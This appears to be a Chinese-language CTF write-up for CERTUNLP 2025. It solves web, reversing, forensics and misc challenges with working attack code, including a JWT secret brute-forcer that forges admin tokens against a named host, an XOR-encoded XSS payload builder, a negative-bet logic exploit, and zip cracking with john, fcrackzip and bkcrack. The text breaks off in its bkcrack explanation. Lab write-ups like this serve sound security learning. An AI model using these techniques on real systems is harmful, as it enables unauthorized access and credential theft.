CERTUNLP 2025--部分解题记录

一、Beginner

1、Onion login 2025

题目描述:Log In to get the flag,Note: No brute forcing required.

进入后就是一个登录页还是啥来着忘了,然后就是查看源码,可以看到一个app.js文件,这个原本内容比较难读,我这里用在线工具格式化了一下,不知道有没有错误。。。

javascript 复制代码
let currentLevel = 1;
let attemptCount1 = 0;
let attemptCount2 = 0;
let attemptCount3 = 0;

function handleLogin1(e) {
	e.preventDefault();
	const u = document.getElementById('user1').value;
	const p = document.getElementById('pass1').value;
	if (attemptCount1 === 0) {
		fetch('/get_credentials/1').then(r => r.json()).then(d => {
			localStorage.setItem('username', d.username);
			localStorage.setItem('password', d.password);
			showStatus(1, '✗ Wrong credentials', 'error');
			attemptCount1++;
			document.getElementById('form1').reset();
		});
	} else {
		fetch('/verify_login', {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json'
			},
			body: JSON.stringify({
				level: 1,
				username: u,
				password: p
			})
		}).then(r => r.json()).then(d => {
			if (d.success) {
				showStatus(1, '✓ Level 1 completed!', 'success');
				markCompleted(1);
				document.getElementById('form1').reset();
				setTimeout(() => {
					currentLevel = 2;
					enableLevel(2);
				}, 1000);
			} else {
				showStatus(1, '✗ Wrong credentials', 'error');
			}
		});
	}
}

function handleLogin2(e) {
	e.preventDefault();
	const u = document.getElementById('user2').value;
	const p = document.getElementById('pass2').value;
	if (attemptCount2 === 0) {
		fetch('/get_credentials/2').then(r => r.json()).then(d => {
			sessionStorage.setItem('username', d.username);
			sessionStorage.setItem('password', d.password);
			showStatus(2, '✗ Wrong credentials', 'error');
			attemptCount2++;
			document.getElementById('form2').reset();
		});
	} else {
		fetch('/verify_login', {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json'
			},
			body: JSON.stringify({
				level: 2,
				username: u,
				password: p
			})
		}).then(r => r.json()).then(d => {
			if (d.success) {
				showStatus(2, '✓ Level 2 completed!', 'success');
				markCompleted(2);
				document.getElementById('form2').reset();
				setTimeout(() => {
					currentLevel = 3;
					enableLevel(3);
				}, 1000);
			} else {
				showStatus(2, '✗ Wrong credentials', 'error');
			}
		});
	}
}

function handleLogin3(e) {
	e.preventDefault();
	const u = document.getElementById('user3').value;
	const p = document.getElementById('pass3').value;
	if (attemptCount3 === 0) {
		fetch('/get_credentials/3').then(r => r.json()).then(d => {
			setCookie('username', d.username, 1);
			setCookie('password', d.password, 1);
			showStatus(3, '✗ Wrong credentials', 'error');
			attemptCount3++;
			document.getElementById('form3').reset();
		});
	} else {
		fetch('/verify_login', {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json'
			},
			body: JSON.stringify({
				level: 3,
				username: u,
				password: p
			})
		}).then(r => r.json()).then(d => {
			if (d.success) {
				showStatus(3, '✓ Level 3 completed!', 'success');
				markCompleted(3);
				document.getElementById('form3').reset();
				setTimeout(() => {
					checkAllComplete();
				}, 1000);
			} else {
				showStatus(3, '✗ Wrong credentials', 'error');
			}
		});
	}
}

function markCompleted(l) {
	document.getElementById('login' + l + '-box').classList.remove('active');
	document.getElementById('login' + l + '-box').classList.add('completed');
	document.getElementById('check' + l).style.display = 'inline-block';
}

function enableLevel(l) {
	document.getElementById('login' + l + '-box').classList.add('active');
	showStatus(l, '🔓 Level unlocked. Enter your credentials.', 'info');
	document.getElementById('login' + l + '-box').scrollIntoView({
		behavior: 'smooth',
		block: 'center'
	});
}

function showStatus(l, m, t) {
	const s = document.getElementById('status' + l);
	s.textContent = m;
	s.className = 'status ' + t;
	s.style.display = 'block';
}

function checkAllComplete() {
	fetch('/get_flag').then(r => r.json()).then(d => {
		document.getElementById('flag-display').textContent = d.flag;
		document.getElementById('flag-section').classList.add('show');
		document.getElementById('flag-section').scrollIntoView({
			behavior: 'smooth',
			block: 'center'
		});
	}).catch(e => {
		console.error('Error:', e);
	});
}

function setCookie(n, v, h) {
	const d = new Date();
	d.setTime(d.getTime() + (h * 60 * 60 * 1000));
	const e = "expires=" + d.toUTCString();
	document.cookie = n + "=" + v + ";" + e + ";path=/";
}

function getCookie(n) {
	const ne = n + "=";
	const ca = document.cookie.split(';');
	for (let i = 0; i < ca.length; i++) {
		let c = ca[i];
		while (c.charAt(0) == ' ') c = c.substring(1, c.length);
		if (c.indexOf(ne) == 0) return c.substring(ne.length, c.length);
	}
	return null;
}

分析这个js文件可以知道

  1. 每个级别第一次提交时:

    • 会从 /get_credentials/[level] 获取凭证

    • 存储到不同的位置:

      • Level 1: localStorage

      • Level 2: sessionStorage

      • Level 3: Cookie

    • 然后显示"错误凭证",实际是提示我们去存储中找真正的凭证

  2. 第二次及以后提交时:

    • 发送到 /verify_login 验证

    • 如果成功,进入下一级

  3. 完成所有级别后:

    • /get_flag 获取flag

现在很明确了,先访问/get_credentials/{}就是了,然后可以拿到三个凭证

bash 复制代码
{
  "password": "Pikachu123!",
  "username": "Ash"
}

{
  "password": "Looser456!!!",
  "username": "Gary"
}

{
  "password": "nimdA",
  "username": "Admin"
}

这就很简单了,用凭证登录,然后访问/get_flag即可拿到flag

bash 复制代码
└─# curl https://x.x.x.x/get_flag
{
  "flag": "UNLP{B4s1c_5t0rAg3_&_DEV_t00Ls}"
}

2、21 Blackjack

题目描述:You're welcome any time. You know, I think the best thing about Vegas is you can become anyone you want.

拿到压缩包解压后是一个python文件

python 复制代码
#!/usr/bin/env python3
import os
import random
import sys
from colorama import Fore, Style, init

init(autoreset=True)

FLAG = os.getenv("FLAG", "FLAG{default_flag_value}")
FLAG_PRICE = 1000
START_COINS = 100.0


def banner():
    print(f"{Fore.CYAN}{Style.BRIGHT}\n==============================")
    print("    🎰 Welcome to the Lottery Shop! 🎰")
    print("==============================\n" + Style.RESET_ALL)


def flagforyou():
    print(f"\n{Fore.GREEN}{Style.BRIGHT}*** Here is your flag: {FLAG} ***\n")


def noflagforyou():
    print(f"{Fore.RED}No flag for you.\n")


def safe_int(x):
    """Try converting input to int, raise error if not possible."""
    try:
        return int(x)
    except Exception:
        raise


# === Main Game Logic ===
def main():
    coins = START_COINS
    banner()
    print(f"{Fore.YELLOW}You start with {coins} coins.")
    print(f"The flag costs {FLAG_PRICE} coins.{Style.RESET_ALL}\n")

    while True:
        print(f"{Fore.MAGENTA}{Style.BRIGHT}Menu:")
        print("  1) Play a round (bet & guess)")
        print("  2) Buy the flag")
        print("  3) Check coins")
        print("  4) Quit" + Style.RESET_ALL)
        choice = input(f"{Fore.CYAN}> {Style.RESET_ALL}").strip()

        if choice == "1":
            print(f"\n{Fore.BLUE}{Style.BRIGHT}--- New Round ---{Style.RESET_ALL}")
            try:
                bet = float(input("Enter your bet amount: ").strip())
            except ValueError:
                print(f"{Fore.RED}Invalid bet amount.\n")
                continue

            if bet > coins:
                print(f"{Fore.RED}Invalid bet. BET: {bet} > COINS: {coins}\n")
                continue
            
            try:
                guess = int(input("Enter your guess number: ").strip())
            except ValueError:
                print(f"{Fore.RED}Invalid guess. Please enter an integer.\n")
                continue

            winning = random.randint(0, 1_000_000)

            if guess == winning:
                coins += bet * 2
                print(f"{Fore.GREEN}🎉 You guessed it! You win {bet * 2} coins!")
                print(f"New balance: {coins}\n")
            else:
                coins -= bet
                print(f"{Fore.RED}❌ Wrong guess! The winning number was {winning}.")
                print(f"You lose {bet} coins. New balance: {coins}\n")

        elif choice == "2":
            print(f"\n{Fore.YELLOW}{Style.BRIGHT}--- Buy the flag ---{Style.RESET_ALL}")
            if coins >= FLAG_PRICE:
                coins -= FLAG_PRICE
                flagforyou()
                print(f"{Fore.CYAN}Thanks for playing! Exiting...\n")
                sys.exit(0)
            else:
                print(f"{Fore.RED}Not enough coins. You have {coins}, need {FLAG_PRICE}.\n")

        elif choice == "3":
            print(f"\n{Fore.GREEN}💰 You have {coins} coins.\n")

        elif choice == "4":
            print(f"{Fore.CYAN}Goodbye! 👋")
            break

        else:
            print(f"{Fore.RED}Invalid option.\n")


if __name__ == "__main__":
    main()

程序分析:

  1. 初始设置:

    • 初始金币:100.0(浮点数)

    • flag价格:1000金币

    • 游戏类型:猜数字游戏(0-1,000,000)

  2. 游戏规则:

    python 复制代码
    winning = random.randint(0, 1_000_000)
    if guess == winning:
        coins += bet * 2
    else:
        coins -= bet

    需要猜中随机数才能赢,否则输掉赌注。

  3. 目标:

    python 复制代码
    if coins >= FLAG_PRICE:
        coins -= FLAG_PRICE
        flagforyou()

    需要达到1000金币才能买flag。

  4. 关键点:

python 复制代码
if bet > coins:
    print(f"{Fore.RED}Invalid bet. BET: {bet} > COINS: {coins}\n")
    continue

bat是浮点数,没有检查负数和0

所以现在明了了,操作流程:

  1. 选择选项 1 开始游戏

  2. 下注 -1000.0(负数)

  3. 随便猜一个数字(比如 123456

  4. 几乎肯定猜不中(概率1/1,000,001),所以会输

  5. 但输掉负下注等于加钱:coins -= (-1000.0) = coins += 1000.0

  6. 现在金币变成 100 + 1000 = 1100

  7. 选择选项 2 购买flag

  8. 获得flag

python 复制代码
└─# nc x.x.x.x 35001                                              

You start with 100 coins.
The flag costs 1000 coins.


Menu:
  1) Play a round (bet & guess)
  2) Buy the flag
  3) Check coins
  4) Quit
> 1

--- New Round ---
Enter your bet amount: -1000.0
Enter your guess number: 123456
❌ Wrong guess! The winning number was 106.
You lose -1000.0 coins. New balance: 1100.0


Menu:
  1) Play a round (bet & guess)
  2) Buy the flag
  3) Check coins
  4) Quit
> 2

--- Buy the flag ---

*** Here is your flag: UNLP{IlovethisTown.ILoveThisGameAnd,Jim,IMightEvenLoveYou} ***

Thanks for playing! Exiting...

3、Manhattan

题目描述:The file looks perfect, but it contains strange hidden data. You need to see what's inside the box, not just what's on top.

这个就是图片隐写题,这个非常简单

python 复制代码
└─# strings ny.png | grep UNLP
Getty ImageUNLP{St3g4n0graphy_15_fUn}

4、Fragmented Flag

题目描述:Retrieve the 3 hidden flag fragments from the web page: https://x.x.x.x

这个就是访问这个页面,flag被分成三份放在页面中,就是检查html、js、css既可拿到完整的flag

复制代码
UNLP{1_dOnt_like_the_TEG_map_|_prefer_the_Bor3d_Grid}

5、Crackme

题目描述:Hashing is the correct way to store passwords :) The flag is the correct password

可以拿到一个文件

python 复制代码
# 检查一下文件类型
└─# file crackme 
crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c84c111aff433e37162f182b88a58b359941fdca, for GNU/Linux 3.2.0, not stripped

# 运行看看行为
└─# ./crackme 
Enter your username: 111
You aren't the admin

快速的查看了一下没有明文储存比较内容

python 复制代码
└─# python3 -c "print('admin\ntestpass')" | ltrace ./crackme 2>&1 | grep -A5 -B5 "strcmp"
printf("Enter your username: ")                  = 21
__isoc99_scanf(0x55fc204da03e, 0x7ffd558dbf80, 0, 0) = 1
strcmp("admin", "admin")                         = 0
printf("Enter your password: ")                  = 21
__isoc99_scanf(0x55fc204da08b, 0x7ffd558dbff0, 0, 0) = 1
EVP_MD_CTX_new(0x7ffd558dbff0, 0x7ffd558dbf40, 0x7ffd558dbf40, 0) = 0x55fc497f32c0
EVP_sha256(0, 0, 0, 0)                           = 0x7fd7dbbab380
EVP_DigestInit_ex(0x55fc497f32c0, 0x7fd7dbbab380, 0, 0x7fd7dbbab380) = 1

可以看到比较的用户名是admin,然后对密码进行SHA256哈希:EVP_MD_CTX_new、EVP_sha256、EVP_DigestInit_ex,那么就是找到这个值就是了,通过反汇编可以看到

python 复制代码
mov rax, qword [obj.k1]     ; [0x2008:8]=0xec3652d9b630f7fc
mov qword [s2], rax
...
mov rdx, qword [obj.k2]     ; [0x2010:8]=0xb2b6d7922dfcc9d3
...
mov rdx, qword [obj.k3]     ; [0x2018:8]=0x4ec1a96141506bb
...
mov rdx, qword [obj.k4]     ; [0x2020:8]=0xe492f592717a6c1d

硬编码的哈希值存储在 k1k2k3k4 这四个全局变量中,这是 4 个 8 字节(64 位)的值,总共 32 字节 = 256 位,正好是 SHA256 哈希的长度。x86-64 是小端序(little-endian),但这里存储的可能是直接的内存表示。我们需要看看这些值是如何加载到 [s2] 数组的。从代码看,它是顺序存储的:k1[s2]k2[s2+8]k3[s2+16]k4[s2+24]。所以哈希字节序列就是这 4 个 quadwords 按顺序的字节表示。由于是小端架构,但这里显示的是数值(已经转换过),我们可以直接按看到的十六进制字符串拼接

python 复制代码
ec3652d9b630f7fcb2b6d7922dfcc9d304ec1a96141506bbe492f592717a6c1d

那这个值直接去暴力破解一下可以得到是secret123,可以输入验证一下

python 复制代码
└─# echo -e "admin\nsecret123" | ./crackme
Enter your username: Enter your password: Congrats!
Your password is correct. Use this password as flag

6、Xtrings

题目描述:Find the flag in this file

同样的拿到一个文件

python 复制代码
# 检查文件类型
└─# file windows_app.exe.xor
windows_app.exe.xor: data

# 看一下文件开头
└─# xxd windows_app.exe.xor ö head -5
00000000: 0915 c344 4c53 444f 5744 4f53 bbb0 5344  ...DLSDOWDOS..SD
00000010: f753 444f 5344 4f53 044f 5344 4f53 444f  .SDOSDOS.OSDOSDO
00000020: 5344 4f53 444f 5344 4f53 444f 5344 4f53  SDOSDOSDOSDOSDOS
00000030: 444f 5344 4f53 444f 5344 4f53 c44f 5344  DOSDOSDOSDOS.OSD
00000040: 414c fe41 53f0 469e 65f7 5208 8272 1027  AL.AS.F.e.R..r.'

既然扩展名提示需要 XOR 解密,那么可以使用xortool 分析

python 复制代码
└─# xortool windows_app.exe.xor      
The most probable key lengths:
 1:   6.3%
 3:  16.9%
 6:  14.9%
 9:  12.9%
12:  11.2%
15:   9.7%
18:   8.4%
21:   7.4%
24:   6.5%
27:   5.8%
Key-length can be 3*n
Most possible char is needed to guess the key!

xortool 提示最可能的密钥长度是 3 或者 6,3有点太短了,我这里选择了6

python 复制代码
└─# xortool windows_app.exe.xor -l 6 -c 20
1 possible key(s) of length 6:
dosdos
Found 0 plaintexts with 95%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv

xortool 猜测长度为6的密钥是 dosdos,那么dosdos 作为循环密钥 XOR 解密

python 复制代码
with open('windows_app.exe.xor', 'rb') as f:
    cipher = f.read()
key = b'dosdos'
plain = bytearray()
for i in range(len(cipher)):
    plain.append(cipher[i] ^ key[i % len(key)])
with open('decrypted.exe', 'wb') as f:
    f.write(plain)

得到可执行的 PE 文件,在解密的文件中搜索flag格式

python 复制代码
└─# rabin2 -zz decrypted_dosdos.exe ù grep -i UNLP
1455  0x00007445 0x00007445 6    7            ascii unlpâx

发现异常字符串 unlpâx,位于偏移 0x7445,接着查看 0x7445 周围的 hex

python 复制代码
└─# xxd -s 0x7440 -l 50 decrypted_dosdos.exe
00007440: 0049 531a 0075 6e6c 705b 7810 727f 144e  .IS..unlpâx.r..N
00007450: 647f 5354 5211 4e67 155d 2a20 2020 2020  d.STR.Ng.ê*     
00007460: 6036 2060 2120 2020 2020 2020 2020 2020  ô6 ô!           
00007470: 2020

得到原始字节

复制代码
75 6e 6c 70 5b 78 10 72 7f 14 4e 64 7f 53 54 52 11 4e 67 15 5d

对每个字节 XOR 0x20 可还原为可读字符UNLP{X0R_4nD_str1nG5},也可以用脚本

python 复制代码
with open('decrypted_dosdos.exe', 'rb') as f:
    f.seek(0x7445)
    data = f.read(200)
    decoded = []
    for b in data:
        if b < 0x20 or b > 0x7e:
            # 非可打印,可能分隔,但我们先继续
            pass
        decoded.append(b ^ 0x20)
    # 转为 bytes 再找 UNLP{...}
    decoded_bytes = bytes(decoded)
    import re
    matches = re.findall(b'UNLP{[^}]+}', decoded_bytes)
    for m in matches:
        print('Flag:', m.decode())

7、The Silence of the Lambs

题目描述:I can't remember if XSS means Cross-Site Scripting or XOR-Site Scripting, maybe both.

进入页面后,是一个简单的页面,包含一个十六进制输入表单:

  • 输入限制:仅允许十六进制字符(0-9, A-F)

  • 最大长度:55字符

  • 默认值:1b323d782a3c2d73373d27363b277335366c

通过不断地测试发现:

  1. 接收十六进制输入

  2. 解码为字节

  3. 对字节进行XOR解密

  4. 将结果输出到页面(在 <div class="error">Decoded: ...</div> 中)

找到密钥:

提交 alert() 的十六进制表示 616c6572742829,服务器返回 Decoded: 9?6*'{q

通过计算:

  • 明文:alert()61 6c 65 72 74 28 29

  • 密文:9?6*'{q39 3f 36 2a 27 7b 71

  • 计算密钥:明文 XOR 密文58 53 53 58 53 53 58

密钥为 XSSXSSX(ASCII值:88, 83, 83, 88, 83, 83, 88)

继续测试不少payload发现密钥对齐特性:

  • 短输入(如 testalert)工作正常

  • 长输入从第7个字符开始出现乱码

  • 进一步测试发现:每6个字符后,密钥索引重置到位置0

写个脚本来构造payload

python 复制代码
import binascii

def encrypt_with_reset(payload, key):
    """每6字符重置密钥索引到0"""
    encrypted = []
    for i, char in enumerate(payload):
        key_index = i % 6  # 每6字符重置
        encrypted.append(char ^ key[key_index])
    return bytes(encrypted)

key = b"XSSXSSX"  # 使用前6个字节:XSSXSS

# payload1: </div><svg onload=alert()>
payload1 = b"</div><svg onload=alert()>"
encrypted1 = encrypt_with_reset(payload1, key)
hex1 = encrypted1.hex()

print(f"1. </div><svg onload=alert()>:")
print(f"   Payload length: {len(payload1)} chars")
print(f"   Hex: {hex1}")
print(f"   Hex length: {len(hex1)} chars")

# payload12: 更短的payload
payload2 = b"</div><img src=x onerror=alert()>"
encrypted2 = encrypt_with_reset(payload2, key)
hex2 = encrypted2.hex()

print(f"\n2. </div><img src=x onerror=alert()>:")
print(f"   Payload length: {len(payload2)} chars")
print(f"   Hex: {hex2}")
print(f"   Hex length: {len(hex2)} chars")

# payload13: 最短的可能
payload3 = b"</div><script>alert()</script>"
encrypted3 = encrypt_with_reset(payload3, key)
hex3 = encrypted3.hex()

print(f"\n3. </div><script>alert()</script>:")
print(f"   Payload length: {len(payload3)} chars")
print(f"   Hex: {hex3}")
print(f"   Hex length: {len(hex3)} chars")

# 验证解密
print(f"\nVerification for payload1:")
decrypted1 = encrypt_with_reset(encrypted1, key)
print(f"   Decrypted: {decrypted1}")
print(f"   Match: {decrypted1 == payload1}")

直接用payload1即可拿到flag UNLP{Th1s_sHit_Is_M0re_3ncoD1nG_Th4n_X5S!:(}

8、Titanic

题目描述:Welcome! Become a Python reverser

题目提供一个 Python 3.12 编译的字节码文件 .pyc

python 复制代码
#  用 pycdc 反编译得到源代码
import time
import binascii
from Crypto.Cipher import AES

y = 's4Pd'

def get_passwd():
    return input('Password: ')

def check(s):
    z = '0w5' + y + 'r'
    x = s[6:8] + s[0:3] + s[3:6][::-1]  # 注意:这里的理解是关键!
    return x == z

def get_secret(k):
    secret = binascii.unhexlify('f92d0786425761806008f985a2fcc4a1f04e142b6b7dadd0998083c35135dc21')
    key = (k * 2).encode('utf-8')
    iv = b'thisIsNotTheFlag'
    aes = AES.new(key, AES.MODE_CBC, iv)
    return aes.decrypt(secret)

s = get_passwd()
if check(s):
    print(get_secret(s))
    return None
time.sleep(5)
print('Invalid password!')

已知:

  • z = '0w5s4Pdr'

  • x = (s[6:8] + s[0:3] + s[3:6])[::-1]

  • x == z

s = s0 s1 s2 s3 s4 s5 s6 s7(前8个字符)

那么:

python 复制代码
s[6:8] = s6 s7
s[0:3] = s0 s1 s2  
s[3:6] = s3 s4 s5

所以:s6 s7 + s0 s1 s2 + s3 s4 s5 = 某个字符串,记作 A
且 A[::-1] = '0 w 5 s 4 P d r'

因此:

复制代码
s6 s7 + s0 s1 s2 + s3 s4 s5 = 'r' 'd' 'P' '4' 's' '5' 'w' '0'

字符对应,将上述等式按位置对应

python 复制代码
s6 = 'r'
s7 = 'd'
s0 = 'P'
s1 = '4'
s2 = 's'
s3 = '5'
s4 = 'w'
s5 = '0'

按顺序排列 s0 s1 s2 s3 s4 s5 s6 s7即可得到密码:P4s5w0rd

使用脚本解密得到flag

python 复制代码
from Crypto.Cipher import AES
import binascii

secret = binascii.unhexlify('f92d0786425761806008f985a2fcc4a1f04e142b6b7dadd0998083c35135dc21')
key = ('P4s5w0rd'*2).encode()
iv = b'thisIsNotTheFlag'
aes = AES.new(key, AES.MODE_CBC, iv)
plain = aes.decrypt(secret)
print(plain)
print(plain.hex())


#  运行输出UNLP{w3lc0m3-B4by-R3vers3r}

二、MISC

1、Weird PCAP

题目描述:We intercepted some network traffic, but nothing looks suspicious at first glance. Can you find what's hidden?

这是一个流量分析题,提供一个 weird.pcap 文件,用 Wireshark 或 tshark 分析协议分布

python 复制代码
eth                                      frames:249 bytes:16863
  arp                                    frames:20 bytes:840
  ip                                     frames:229 bytes:16023
    tcp                                  frames:171 bytes:12413
      tls                                frames:19 bytes:2394
      http                               frames:19 bytes:2837
    udp                                  frames:32 bytes:2518
      ntp                                frames:5 bytes:450
      dns                                frames:27 bytes:2068
    icmp                                 frames:26 bytes:1092

接着就是寻找异常流量了

  • 大部分流量为正常 HTTP、TLS、ICMP 等

  • 但在 DNS 流量中发现 9 个异常的 PTR 反向查询,格式为:A.B.C.D.in-addr.arpa

  • 这些 PTR 查询与普通域名查询混合,但 IP 地址看起来不像是真正的反向查询,而像是编码数据

异常PTR查询列表

python 复制代码
85.78.76.80.in-addr.arpa
123.67.48.118.in-addr.arpa
51.114.84.95.in-addr.arpa
95.99.104.52.in-addr.arpa
110.78.101.124.in-addr.arpa
95.85.115.49.in-addr.arpa
110.103.95.68.in-addr.arpa
78.83.33.33.in-addr.arpa
125.192.180.219.in-addr.arpa

提取数字部分并直接转换为ASCII 字符

python 复制代码
nums = [
    [85, 78, 76, 80],
    [123, 67, 48, 118],
    [51, 114, 84, 95],
    [95, 99, 104, 52],
    [110, 78, 101, 124],
    [95, 85, 115, 49],
    [110, 103, 95, 68],
    [78, 83, 33, 33],
    [125, 192, 180, 219]
]

for group in nums:
    for n in group:
        if 32 <= n <= 126:
            print(chr(n), end='')


# 运行后输出 UNLP{C0v3rT__ch4nNe|_Us1ng_DNS!!}

三、WEB

1、Dexter

题目描述:Ohh JWT and secrets. Love it. Check source code to solve it

给了源码

python 复制代码
from flask import Flask, request, jsonify, make_response
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from jwt import decode, encode, exceptions
import random
import os
import time

random.seed(f"s3v4r4l_érandom.randint(0, 2000)è")

app = Flask(__name__)

FLAG = os.environ.get("FLAG", "UNLPéfake_flagè")

app.secret_key = f"Rem1xKeyérandom.randint(0, 10**12)è"

limiter = Limiter(
    get_remote_address,
    app=app,
    default_limits=â"3 per minute"ê,
    storage_uri="memory://"
)

àapp.route('/', methods=â'GET'ê)
àlimiter.limit("3/minute")
def index():
    auth = request.headers.get('Authorization')

    if not auth:
        response = make_response(jsonify(é"error": "Missing JWT token"è), 401)
        issued_at = int(time.time())
        default_payload = é
            "role": "guest",
            "iat": issued_at,
        è
        new_token = encode(default_payload, app.secret_key, algorithm='HS256')
        response.headersâ'WWW-Authenticate'ê = f'Bearer énew_tokenè'
        return response

    if auth.lower().startswith("bearer "):
        jwt_token = auth.split(" ", 1)â1ê.strip()
    else:
        jwt_token = auth.strip()

    try:
        payload = decode(jwt_token, app.secret_key, algorithms=â'HS256'ê)
        user = payload.get('user', '')
        role = payload.get('role', '')

        if role == 'superuser' or user.lower() == 'admin':
            return jsonify(é"flag": FLAGè), 200
        else:
            return jsonify(é
                "error": "Not authorized",
                "details": "valid token but insufficient privileges"
            è), 403

    except exceptions.ExpiredSignatureError:
        return jsonify(é"error": "Token expired"è), 401
    except exceptions.InvalidTokenError:
        return jsonify(é"error": "Invalid JWT token"è), 401

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=1337)

通过查看源代码发现关键的JWT密钥生成逻辑:

python 复制代码
# 漏洞点:随机种子设置
random.seed(f"s3v4r4l_{random.randint(0, 2000)}")

# 密钥生成
app.secret_key = f"Rem1xKey{random.randint(0, 10**12)}"

原理:

  1. 随机数生成缺陷:

    • random.seed()参数中的random.randint(0, 2000)先执行,生成值A

    • f"s3v4r4l_{A}"设置随机种子

    • 然后random.randint(0, 10**12)生成值B

    • 最终密钥为f"Rem1xKey{B}"

  2. 可预测性:

    • A的范围只有0-2000(2001种可能)

    • 对于每个AB是确定性的(因为设置了种子)

    • 可以通过暴力破解找到正确的A

解题步骤:

访问网站先获取一个有效token,然后分析这个token结构:

  • Header: {'alg': 'HS256', 'typ': 'JWT'}

  • Payload: {'role': 'guest', 'iat': 1764872144}

那么接下来就是破解密钥,用密钥创建admin权限的token

python 复制代码
import jwt
import random
import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "https://jwt2025.ctf.cert.unlp.edu.ar/"

# 获取token
r = requests.get(url)
token = r.headers.get('WWW-Authenticate', '').replace('Bearer ', '').strip('{}')

def test_a(a):
    """测试特定的a值"""
    # 设置种子
    random.seed(f"s3v4r4l_{a}")
    # 生成密钥
    b = random.randint(0, 10**12)
    secret = f"Rem1xKey{b}"
    
    try:
        decoded = jwt.decode(token, secret, algorithms=['HS256'])
        return a, b, secret, True
    except jwt.exceptions.InvalidSignatureError:
        return a, b, secret, False
    except:
        return a, b, secret, False

found = False

with ThreadPoolExecutor(max_workers=50) as executor:
    futures = {executor.submit(test_a, a): a for a in range(2001)}
    
    for future in as_completed(futures):
        a, b, secret, success = future.result()
        
        if success:
            print(f"\n 找到密钥! a={a}, b={b}")
            print(f"密钥: {secret}")
            
            # 创建admin token
            admin_payload = {
                'user': 'admin',
                'role': 'superuser',
                'iat': int(time.time())
            }
            admin_token = jwt.encode(admin_payload, secret, algorithm='HS256')
            
            # 获取flag
            headers = {'Authorization': f'Bearer {admin_token}'}
            resp = requests.get(url, headers=headers)
            print(f" FLAG: {resp.text}")
            
            found = True
            executor.shutdown(wait=False)
            break
        
        if a % 200 == 0:
            print(f"进度: {a}/2000", end='\r')

if not found:
    print("\n未找到密钥")

# 运行得到UNLP{R34llY-ur-Us1ng-Ai_for_th1s-B4by-Ch4ll3ng3?}

四、Forensics

1、Memento

题目描述:Test your skills with our 3 levels of zip cracking challenges. Hint: fcrackzip will not help you in last step

附件结构:

python 复制代码
certunlp_2025_forensics_memento_xxxxxxxx.zip → 解压得到 challenge.zip

challenge.zip → 解压得到 close.zip

close.zip → 解压得到 flag.zip

flag.zip → 包含 MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg 和 flag/flag.txt

第一层直接密码爆破:

python 复制代码
# 提取哈希
zip2john challenge.zip > hash.txt

# 用 john 多核
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# 输出: memento1

第二层也是密码爆破(短密码):

python 复制代码
fcrackzip -v -u -l 1-6 -c a close.zip

# 输出: PASSWORD FOUND!!!!: pw == qq

第三层题目已经提示直接用fcrackzip爆破是不行了,但是可以看到压缩包中有两个文件

MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg

flag/flag.txt

这个图片肯定不是白给的分析一下

  • MV5B 开头 → IMDb 图片标准前缀

  • @._V1_.jpg → IMDb 图片版本后缀

  • 中间部分为 Base64 编码的二进制数据(解码后是 UUID)

那么可以下载原图进行明文攻击,尝试常见的 IMDb 图片域名

  • https://ia.media-imdb.com/images/M/...(旧版,约 2020 年前常用)

  • https://m.media-amazon.com/images/M/...(新版,目前主要域名)

  • https://images-na.ssl-images-amazon.com/images/M/...(过渡期域名)

python 复制代码
filename="MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg"
curl -s -H "Referer: https://www.imdb.com/" \
     -H "User-Agent: Mozilla/5.0" \
     "https://ia.media-imdb.com/images/M/$filename" \
     -o test.jpg

接着就检查一下图片大小等,确认为原图,那么就可以明文攻击了

python 复制代码
# 提取压缩数据
dd if=test.zip bs=1 skip=66 count=404601 of=compressed.dat 2>/dev/null

# 运行 bkcrack
└─# ./bkcrack-1.5.0-Linux/bkcrack -C flag.zip -c "MV5BMGQ3Y2Q4NjktN2E4Ny00Y2Q2LTliZDUtZTNiNjRhY2I0NGIyXkEyXkFqcGc@._V1_.jpg" -p compressed.dat -o 0
bkcrack 1.5.0 - 2022-07-07
[10:03:28] Z reduction using 404594 bytes of known plaintext
11.5 % (46345 / 404594)
[10:03:31] Attack on 126 Z values at index 358758
Keys: 67edc97d 531bd557 46ac54d3
31.0 % (39 / 126)
[10:03:31] Keys
67edc97d 531bd557 46ac54d3

现在我们拿到了密钥67edc97d 531bd557 46ac54d3,接下来就解密zip

python 复制代码
# 方法1:重新打包为无密码 ZIP
./bkcrack -C flag.zip -k 67edc97d 531bd557 46ac54d3 \
          -U unlocked.zip newpassword

# 解压新 ZIP
unzip -P newpassword unlocked.zip

# 方法2:直接解密 flag.txt
./bkcrack -C flag.zip -c "flag/flag.txt" \
          -k 67edc97d 531bd557 46ac54d3 -d flag_decrypted.txt
# 注意:输出是压缩数据,需解压(或用方法1直接得到明文)

得到flag UNLP{Oh,I'mChasingThisGuy...No...he'sChasingme}

这里解释一下为什么密钥不能直接解压

1. ZIP 加密方式

  • ZIP 使用 ZipCrypto(或 AES)加密,加密对象是每个文件的压缩数据,而不是整个 ZIP 容器。

  • 每个文件使用独立的加密密钥(但传统 ZipCrypto 中,所有文件使用相同密码时,密钥也相同)。

2. 密钥与密码的关系

  • 用户输入的密码 → 通过密钥推导函数生成 3 个 32 位密钥(Key0, Key1, Key2)。

  • 这 3 个密钥用于 ZipCrypto 的加解密流。

  • 已知明文攻击得到的就是这3 个密钥,而不是密码本身。

3. 为什么不能直接解压?

  • 标准 ZIP 解压软件(如 unzip7z)需要密码,而不是内部密钥。

  • 它们会重新执行密钥推导过程,用输入的密码生成密钥,与 ZIP 中存储的校验值比较。

  • 即使我们有了正确的密钥,解压软件没有接口直接输入密钥。

4. bkcrack 的解决方案

